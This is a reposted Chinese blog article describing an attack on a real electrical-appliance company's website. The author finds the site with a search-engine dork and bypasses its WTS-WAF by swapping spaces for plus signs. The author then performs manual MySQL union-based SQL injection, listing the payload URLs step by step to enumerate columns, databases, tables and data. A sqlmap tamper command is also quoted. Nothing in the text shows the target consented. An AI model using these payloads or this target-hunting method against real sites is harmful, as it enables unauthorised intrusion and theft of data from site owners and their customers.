首页  >  文章  >  运维  >  如何进行绕过WTS-WAF的分析

如何进行绕过WTS-WAF的分析

王林
王林转载
2023-05-13 09:40:121899浏览


0x01.寻找目标

inurl:.php?id= intext:电器

找到了一个电器公司的网站,随便测了测,发现有waf

如何进行绕过WTS-WAF的分析

如何进行绕过WTS-WAF的分析

这还不安排(找了点资料,貌似直接加号代替空格就可以,直接尝试)

0x02.操作

如何进行绕过WTS-WAF的分析

发现没有waf拦截了

资料还说了

sqlmap.py -u http://*/*.php?id=29 --tables --tamper space2plus.py

工具我尝试了发现无法开始

就这样子......

如何进行绕过WTS-WAF的分析

0x03.手注

http://*/*.php?id=1+and+1=1  #回显正常
http://*/*.php?id=1+and+1=2  #回显错误
说明存在注入

http://*/*.php?id=1+order+by+15  #15回显错误
http://*/*.php?id=1+order+by+14  #14回显正常
说明有14个字段

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14  #-1让它错误然后执行后面

如何进行绕过WTS-WAF的分析

它回显了第2和第8

http://*/*.php?id=-1+union+select+1,database(),3,4,5,6,7,user(),9,10,11,12,13,14  #查询当前数据库信息和当前用户
一些常见的函数
version()  #显示数据库当前版本
database() / schema()  #显示当前数据库名
user() / system_user() / session_user() / current_user() / current_user()  #显示当前用户名称
charset(str)  #返回字符串str的字符集
collation(str)  #返回字符串str的字符排列方式

0x04.查数据

爆数据库

http://*/*.php?id=-1+union+select+1,group_concat(schema_name),3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1

如何进行绕过WTS-WAF的分析

它不能group_concat,那我就一个一个查了!
http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+0,1 #从1开始取一个
http://*/*.php?id=-1+union+select+1,schema_name,3,4,5,6,7,user(),9,10,11,12,13,14+from+information_schema.schemata+limit+1,1  #从2开始取一个

爆数据表

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,group_concat(table_name),9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1

如何进行绕过WTS-WAF的分析

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=database()+limit+0,1

爆数据

http://*/*.php?id=-1+union+select+1,2,3,4,5,6,7,字段名,9,10,11,12,13,14+表名+limit+0,1

总结:

1.工具跑不起就只能手注了

2.实践了下mysql的手注

以上是如何进行绕过WTS-WAF的分析的详细内容。更多信息请关注PHP中文网其他相关文章!

声明:
本文转载于:yisu.com。如有侵权,请联系admin@php.cn删除